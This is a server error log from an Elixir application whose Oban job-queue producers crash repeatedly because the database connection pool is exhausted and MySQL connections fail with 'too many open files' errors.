    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:01:06.245262Z], limit: 50, uuid: "2afdf00c-71ad-4c10-be9a-edddae170ade", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.245268Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258020>, refresh_timer: #Reference<0.2525715032.1077411843.231604>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:01:06.237791Z], limit: 20, uuid: "3ba1f8d5-3030-42c9-ae02-8c532fb001bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.237798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258018>, refresh_timer: #Reference<0.2525715032.1077411843.231557>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:19.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:24.652000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:25.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:26.138000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:27.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:01:18.239639Z], limit: 3, uuid: "78cfa7ca-c42d-401e-a72e-646b5a7102c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.239650Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258302>, refresh_timer: #Reference<0.2525715032.1077411843.231859>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:01:18.244791Z], limit: 5, uuid: "3af9ff3c-ef67-4807-b825-472dcfa5beab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.244796Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258301>, refresh_timer: #Reference<0.2525715032.1077411843.231854>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:01:18.248474Z], limit: 10, uuid: "70f72dec-b674-4278-a589-0660fd5f962d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.248482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258303>, refresh_timer: #Reference<0.2525715032.1068236804.248586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:01:18.248808Z], limit: 50, uuid: "1a765aec-c6d4-4a91-85be-42c22ab4b5e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.248813Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258304>, refresh_timer: #Reference<0.2525715032.1068236804.248596>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:01:18.243641Z], limit: 5, uuid: "0dff5353-80ad-4176-8910-62a039cf168e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.243648Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258300>, refresh_timer: #Reference<0.2525715032.1077411843.231853>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:01:18.250661Z], limit: 20, uuid: "b13c739c-d76d-422a-8f3d-d24a010bf91d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:18.250666Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258299>, refresh_timer: #Reference<0.2525715032.1077411843.231879>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:33.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:35.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:35.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:35.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:36.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:38.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:42.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
